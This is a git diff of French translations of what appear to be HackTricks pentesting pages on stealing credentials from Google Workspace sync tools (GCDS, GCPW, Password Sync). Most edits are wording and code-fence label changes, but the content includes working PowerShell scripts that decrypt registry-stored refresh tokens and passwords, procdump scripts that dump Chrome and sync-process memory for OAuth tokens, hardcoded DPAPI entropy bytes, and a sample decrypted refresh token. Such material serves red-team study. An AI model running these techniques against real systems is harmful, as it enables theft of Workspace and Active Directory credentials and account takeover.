C'est intéressant car c'est un outil qui nécessitera les **identifiants d'un super utilisateur Workspace et d'un utilisateur AD privilégié**. Il pourrait donc être possible de le trouver à l'intérieur d'un serveur de domaine qui synchroniserait des utilisateurs de temps en temps.
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> Pour effectuer un **MitM** sur le binaire **`config-manager.exe`**, ajoutez simplement la ligne suivante dans le fichier `config.manager.vmoptions` : **`-Dcom.sun.net.ssl.checkRevocation=false`**
|
> Pour effectuer un **MitM** sur le binaire **`config-manager.exe`**, ajoutez simplement la ligne suivante dans le fichier `config.manager.vmoptions` : **`-Dcom.sun.net.ssl.checkRevocation=false`**
|
||||||
@@ -54,7 +54,7 @@ Notez comment le **refresh** **token** et le **password** de l'utilisateur sont
|
|||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Script Powershell pour déchiffrer le refresh token et le password</summary>
|
<summary>Script Powershell pour déchiffrer le refresh token et le password</summary>
|
||||||
```powershell
|
```bash
|
||||||
# Paths and key names
|
# Paths and key names
|
||||||
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
|
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
|
||||||
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
|
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
|
||||||
@@ -157,12 +157,12 @@ Au lieu d'utiliser le script powershell, il est également possible d'utiliser l
|
|||||||
### GCDS - Extraction de tokens de la mémoire
|
### GCDS - Extraction de tokens de la mémoire
|
||||||
|
|
||||||
Tout comme avec GCPW, il est possible d'extraire la mémoire du processus `config-manager.exe` (c'est le nom du binaire principal de GCDS avec interface graphique) et vous pourrez trouver des tokens de rafraîchissement et d'accès (s'ils ont déjà été générés).\
|
Tout comme avec GCPW, il est possible d'extraire la mémoire du processus `config-manager.exe` (c'est le nom du binaire principal de GCDS avec interface graphique) et vous pourrez trouver des tokens de rafraîchissement et d'accès (s'ils ont déjà été générés).\
|
||||||
Je suppose que vous pourriez également trouver les identifiants configurés pour AD.
|
Je suppose que vous pourriez également trouver les identifiants configurés AD.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Extraire les processus config-manager.exe et rechercher des tokens</summary>
|
<summary>Extraire les processus config-manager.exe et rechercher des tokens</summary>
|
||||||
```powershell
|
```bash
|
||||||
# Define paths for Procdump and Strings utilities
|
# Define paths for Procdump and Strings utilities
|
||||||
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
|
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
|
||||||
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
|
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
|
||||||
|
|||||||
@@ -38,7 +38,7 @@ De plus, en ajoutant les clés `enable_verbose_logging = 1` et `log_file_path =
|
|||||||
### GCPW - Empreinte
|
### GCPW - Empreinte
|
||||||
|
|
||||||
Il est possible de vérifier si GCPW est installé sur un appareil en vérifiant si le processus suivant existe ou si les clés de registre suivantes existent :
|
Il est possible de vérifier si GCPW est installé sur un appareil en vérifiant si le processus suivant existe ou si les clés de registre suivantes existent :
|
||||||
```powershell
|
```bash
|
||||||
# Check process gcpw_extension.exe
|
# Check process gcpw_extension.exe
|
||||||
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
|
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
|
||||||
Write-Output "The process gcpw_xtension.exe is running."
|
Write-Output "The process gcpw_xtension.exe is running."
|
||||||
@@ -67,7 +67,7 @@ Dans **`HKCU:\SOFTWARE\Google\Accounts`**, il est possible d'accéder à l'email
|
|||||||
Dans **`HKLM:\SOFTWARE\Google\GCPW\Users`**, il est possible de trouver les **domains** autorisés à se connecter dans la clé `domains_allowed` et dans les sous-clés, il est possible de trouver des informations sur l'utilisateur comme l'email, la photo, le nom d'utilisateur, les durées de vie des tokens, le handle du token...
|
Dans **`HKLM:\SOFTWARE\Google\GCPW\Users`**, il est possible de trouver les **domains** autorisés à se connecter dans la clé `domains_allowed` et dans les sous-clés, il est possible de trouver des informations sur l'utilisateur comme l'email, la photo, le nom d'utilisateur, les durées de vie des tokens, le handle du token...
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> Le handle du token est un token qui commence par `eth.` et à partir duquel on peut extraire certaines informations avec une requête comme :
|
> Le handle du token est un token qui commence par `eth.` et à partir duquel certaines informations peuvent être extraites avec une requête comme :
|
||||||
>
|
>
|
||||||
> ```bash
|
> ```bash
|
||||||
> curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
|
> curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
|
||||||
@@ -102,14 +102,14 @@ De plus, le fichier **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\
|
|||||||
|
|
||||||
## GCPW - Obtenir des Tokens
|
## GCPW - Obtenir des Tokens
|
||||||
|
|
||||||
### GCPW - Rafraîchir les Tokens du Registre
|
### GCPW - Refresh Tokens du Registre
|
||||||
|
|
||||||
Dans le registre **`HKCU:\SOFTWARE\Google\Accounts`**, il pourrait être possible de trouver certains comptes avec le **`refresh_token`** chiffré à l'intérieur. La méthode **`ProtectedData.Unprotect`** peut facilement le déchiffrer.
|
Dans le registre **`HKCU:\SOFTWARE\Google\Accounts`**, il pourrait être possible de trouver certains comptes avec le **`refresh_token`** chiffré à l'intérieur. La méthode **`ProtectedData.Unprotect`** peut facilement le déchiffrer.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Obtenir les données de <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> et déchiffrer les refresh_tokens</summary>
|
<summary>Obtenir les données de <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> et déchiffrer les refresh_tokens</summary>
|
||||||
```powershell
|
```bash
|
||||||
# Import required namespace for decryption
|
# Import required namespace for decryption
|
||||||
Add-Type -AssemblyName System.Security
|
Add-Type -AssemblyName System.Security
|
||||||
|
|
||||||
@@ -163,7 +163,7 @@ Get-RegistryKeysAndDecryptTokens -keyPath $baseKey
|
|||||||
```
|
```
|
||||||
Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI
|
Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI
|
||||||
```
|
```
|
||||||
Comme expliqué dans [**cette vidéo**](https://www.youtube.com/watch?v=FEQxHRRP_5I), si vous ne trouvez pas le token dans le registre, il est possible de modifier la valeur (ou de supprimer) de **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** et la prochaine fois que l'utilisateur accède à l'ordinateur, il devra se reconnecter et le **token sera stocké dans le registre précédent**.
|
Comme expliqué dans [**cette vidéo**](https://www.youtube.com/watch?v=FEQxHRRP_5I), si vous ne trouvez pas le token dans le registre, il est possible de modifier la valeur (ou de la supprimer) depuis **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** et la prochaine fois que l'utilisateur accède à l'ordinateur, il devra se reconnecter et le **token sera stocké dans le registre précédent**.
|
||||||
|
|
||||||
### GCPW - Jetons de rafraîchissement de disque
|
### GCPW - Jetons de rafraîchissement de disque
|
||||||
|
|
||||||
@@ -180,12 +180,12 @@ On peut observer que AESGCM est utilisé, le token chiffré commence par une **v
|
|||||||
|
|
||||||
### GCPW - Dumping des tokens de la mémoire des processus
|
### GCPW - Dumping des tokens de la mémoire des processus
|
||||||
|
|
||||||
Le script suivant peut être utilisé pour **dump** chaque processus **Chrome** en utilisant `procdump`, extraire les **chaînes** et ensuite **rechercher** des chaînes liées aux **tokens d'accès et de rafraîchissement**. Si Chrome est connecté à un site Google, certains **processus stockeront des tokens de rafraîchissement et/ou d'accès en mémoire !**
|
Le script suivant peut être utilisé pour **dump** chaque processus **Chrome** en utilisant `procdump`, extraire les **chaînes** et ensuite **chercher** des chaînes liées aux **tokens d'accès et de rafraîchissement**. Si Chrome est connecté à un site Google, certains **processus stockeront des tokens de rafraîchissement et/ou d'accès en mémoire !**
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Dump des processus Chrome et recherche de tokens</summary>
|
<summary>Dump des processus Chrome et recherche de tokens</summary>
|
||||||
```powershell
|
```bash
|
||||||
# Define paths for Procdump and Strings utilities
|
# Define paths for Procdump and Strings utilities
|
||||||
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
|
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
|
||||||
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
|
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
|
||||||
@@ -258,13 +258,13 @@ Remove-Item -Path $dumpFolder -Recurse -Force
|
|||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
J'ai essayé la même chose avec `gcpw_extension.exe` mais il n'a trouvé aucun token.
|
J'ai essayé la même chose avec `gcpw_extension.exe`, mais il n'a trouvé aucun jeton.
|
||||||
|
|
||||||
Pour une raison quelconque, **certains tokens d'accès extraits ne seront pas valides (bien que certains le soient)**. J'ai essayé le script suivant pour supprimer des caractères un par un afin d'essayer d'obtenir le token valide à partir du dump. Cela ne m'a jamais aidé à en trouver un valide, mais cela pourrait, je suppose :
|
Pour une raison quelconque, **certains jetons d'accès extraits ne seront pas valides (bien que certains le soient)**. J'ai essayé le script suivant pour supprimer des caractères un par un afin d'essayer d'obtenir le jeton valide à partir du dump. Cela ne m'a jamais aidé à en trouver un valide, mais cela pourrait, je suppose :
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Vérifier le token d'accès en supprimant des caractères un par un</summary>
|
<summary>Vérifier le jeton d'accès en supprimant des caractères un par un</summary>
|
||||||
```bash
|
```bash
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
@@ -461,14 +461,14 @@ https://www.googleapis.com/auth/wallet.chrome
|
|||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Notez que le plus intéressant est peut-être :
|
Notez que le plus intéressant est probablement :
|
||||||
```c
|
```c
|
||||||
// OAuth2 scope for access to all Google APIs.
|
// OAuth2 scope for access to all Google APIs.
|
||||||
const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api";
|
const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api";
|
||||||
```
|
```
|
||||||
Cependant, j'ai essayé d'utiliser cette portée pour accéder à gmail ou lister des groupes et cela n'a pas fonctionné, donc je ne sais pas à quel point cela est encore utile.
|
Cependant, j'ai essayé d'utiliser cette portée pour accéder à gmail ou lister des groupes et cela n'a pas fonctionné, donc je ne sais pas à quel point cela est encore utile.
|
||||||
|
|
||||||
**Obtenir un jeton d'accès avec toutes ces portées**:
|
**Obtenez un jeton d'accès avec toutes ces portées** :
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
@@ -589,7 +589,7 @@ Quelques exemples utilisant certains de ces scopes :
|
|||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
|
<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
|
||||||
```bash
|
```bash
|
||||||
curl -X GET \
|
curl -X GET \
|
||||||
-H "Authorization: Bearer $access_token" \
|
-H "Authorization: Bearer $access_token" \
|
||||||
@@ -758,7 +758,7 @@ curl -X POST \
|
|||||||
|
|
||||||
<summary>https://www.googleapis.com/auth/ediscovery (Google Vault)</summary>
|
<summary>https://www.googleapis.com/auth/ediscovery (Google Vault)</summary>
|
||||||
|
|
||||||
**Google Workspace Vault** est un module complémentaire pour Google Workspace qui fournit des outils pour la conservation des données, la recherche et l'exportation des données de votre organisation stockées dans les services Google Workspace tels que Gmail, Drive, Chat, et plus encore.
|
**Google Workspace Vault** est un module complémentaire pour Google Workspace qui fournit des outils pour la conservation des données, la recherche et l'exportation des données de votre organisation stockées dans les services Google Workspace comme Gmail, Drive, Chat, et plus encore.
|
||||||
|
|
||||||
- Un **Matter** dans Google Workspace Vault est un **conteneur** qui organise et regroupe toutes les informations liées à un cas, une enquête ou une affaire légale spécifique. Il sert de hub central pour gérer les **Holds**, **Searches** et **Exports** concernant ce problème particulier.
|
- Un **Matter** dans Google Workspace Vault est un **conteneur** qui organise et regroupe toutes les informations liées à un cas, une enquête ou une affaire légale spécifique. Il sert de hub central pour gérer les **Holds**, **Searches** et **Exports** concernant ce problème particulier.
|
||||||
- Un **Hold** dans Google Workspace Vault est une **action de préservation** appliquée à des utilisateurs ou groupes spécifiques pour **empêcher la suppression ou la modification** de leurs données au sein des services Google Workspace. Les Holds garantissent que les informations pertinentes restent intactes et non modifiées pendant la durée d'une affaire légale ou d'une enquête.
|
- Un **Hold** dans Google Workspace Vault est une **action de préservation** appliquée à des utilisateurs ou groupes spécifiques pour **empêcher la suppression ou la modification** de leurs données au sein des services Google Workspace. Les Holds garantissent que les informations pertinentes restent intactes et non modifiées pendant la durée d'une affaire légale ou d'une enquête.
|
||||||
|
|||||||
@@ -27,7 +27,7 @@ Concernant l'AD, il est possible d'indiquer d'utiliser le **contexte d'applicati
|
|||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Notez que [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) est capable de détecter **GPS**, d'obtenir des informations sur la configuration et **même de déchiffrer le mot de passe et le jeton**.
|
> Notez que [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) est capable de détecter **GPS**, d'obtenir des informations sur la configuration et **même de déchiffrer le mot de passe et le jeton**.
|
||||||
|
|
||||||
Dans le fichier **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`**, il est possible de trouver une partie de la configuration comme le **`baseDN`** de l'AD configuré et le **`username`** dont les identifiants sont utilisés.
|
Dans le fichier **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`**, il est possible de trouver une partie de la configuration comme le **`baseDN`** de l'AD configuré et le **`nom d'utilisateur`** dont les identifiants sont utilisés.
|
||||||
|
|
||||||
Dans le registre **`HKLM\Software\Google\Google Apps Password Sync`**, il est possible de trouver le **jeton de rafraîchissement chiffré** et le **mot de passe chiffré** pour l'utilisateur AD (le cas échéant). De plus, si au lieu d'un jeton, des **identifiants SA** sont utilisés, il est également possible de les trouver chiffrés à cette adresse de registre. Les **valeurs** à l'intérieur de ce registre ne sont accessibles que par les **Administrateurs**.
|
Dans le registre **`HKLM\Software\Google\Google Apps Password Sync`**, il est possible de trouver le **jeton de rafraîchissement chiffré** et le **mot de passe chiffré** pour l'utilisateur AD (le cas échéant). De plus, si au lieu d'un jeton, des **identifiants SA** sont utilisés, il est également possible de les trouver chiffrés à cette adresse de registre. Les **valeurs** à l'intérieur de ce registre ne sont accessibles que par les **Administrateurs**.
|
||||||
|
|
||||||
@@ -36,23 +36,23 @@ Le **mot de passe** chiffré (le cas échéant) se trouve dans la clé **`ADPass
|
|||||||
Le jeton chiffré (le cas échéant) se trouve dans la clé **`AuthToken`** et est chiffré en utilisant l'API **`CryptProtectData`**. Pour le déchiffrer, vous devez être le même utilisateur que celui qui a configuré la synchronisation des mots de passe et utiliser cette **entropie** lors de l'utilisation de **`CryptUnprotectData`** : `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
|
Le jeton chiffré (le cas échéant) se trouve dans la clé **`AuthToken`** et est chiffré en utilisant l'API **`CryptProtectData`**. Pour le déchiffrer, vous devez être le même utilisateur que celui qui a configuré la synchronisation des mots de passe et utiliser cette **entropie** lors de l'utilisation de **`CryptUnprotectData`** : `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
|
||||||
De plus, il est également encodé en base32hex avec le dictionnaire **`0123456789abcdefghijklmnopqrstv`**.
|
De plus, il est également encodé en base32hex avec le dictionnaire **`0123456789abcdefghijklmnopqrstv`**.
|
||||||
|
|
||||||
Les valeurs d'entropie ont été trouvées en utilisant l'outil. Il a été configuré pour surveiller les appels à **`CryptUnprotectData`** et **`CryptProtectData`** et ensuite l'outil a été utilisé pour lancer et surveiller `PasswordSync.exe` qui déchiffrera le mot de passe configuré et le jeton d'authentification au début et l'outil affichera **les valeurs pour l'entropie utilisée** dans les deux cas :
|
Les valeurs d'entropie ont été trouvées en utilisant l'outil. Il a été configuré pour surveiller les appels à **`CryptUnprotectData`** et **`CryptProtectData`** et ensuite l'outil a été utilisé pour lancer et surveiller `PasswordSync.exe` qui déchiffrera le mot de passe et le jeton d'authentification configurés au début et l'outil affichera **les valeurs pour l'entropie utilisée** dans les deux cas :
|
||||||
|
|
||||||
<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Notez qu'il est également possible de voir les valeurs **déchiffrées** dans l'entrée ou la sortie des appels à ces API également (au cas où à un moment donné Winpeas cesserait de fonctionner).
|
Notez qu'il est également possible de voir les **valeurs déchiffrées** dans l'entrée ou la sortie des appels à ces API également (au cas où à un moment donné Winpeas cesserait de fonctionner).
|
||||||
|
|
||||||
Dans le cas où la synchronisation des mots de passe a été **configurée avec des identifiants SA**, elle sera également stockée dans des clés à l'intérieur du registre **`HKLM\Software\Google\Google Apps Password Sync`**.
|
Dans le cas où la synchronisation des mots de passe a été **configurée avec des identifiants SA**, elle sera également stockée dans des clés à l'intérieur du registre **`HKLM\Software\Google\Google Apps Password Sync`**.
|
||||||
|
|
||||||
### GPS - Dumping des jetons depuis la mémoire
|
### GPS - Dumping des jetons depuis la mémoire
|
||||||
|
|
||||||
Tout comme avec GCPW, il est possible de dumper la mémoire du processus de `PasswordSync.exe` et des processus `password_sync_service.exe` et vous pourrez trouver des jetons de rafraîchissement et d'accès (s'ils ont déjà été générés).\
|
Tout comme avec GCPW, il est possible de dumper la mémoire du processus de `PasswordSync.exe` et des processus `password_sync_service.exe` et vous pourrez trouver des jetons de rafraîchissement et d'accès (s'ils ont déjà été générés).\
|
||||||
Je suppose que vous pourriez également trouver les identifiants AD configurés.
|
Je suppose que vous pourriez également trouver les identifiants configurés de l'AD.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Dump <code>PasswordSync.exe</code> et les processus <code>password_sync_service.exe</code> et rechercher des jetons</summary>
|
<summary>Dump <code>PasswordSync.exe</code> et les processus <code>password_sync_service.exe</code> et rechercher des jetons</summary>
|
||||||
```powershell
|
```bash
|
||||||
# Define paths for Procdump and Strings utilities
|
# Define paths for Procdump and Strings utilities
|
||||||
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
|
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
|
||||||
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
|
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
|
||||||
|
|||||||
Reference in New Issue
Block a user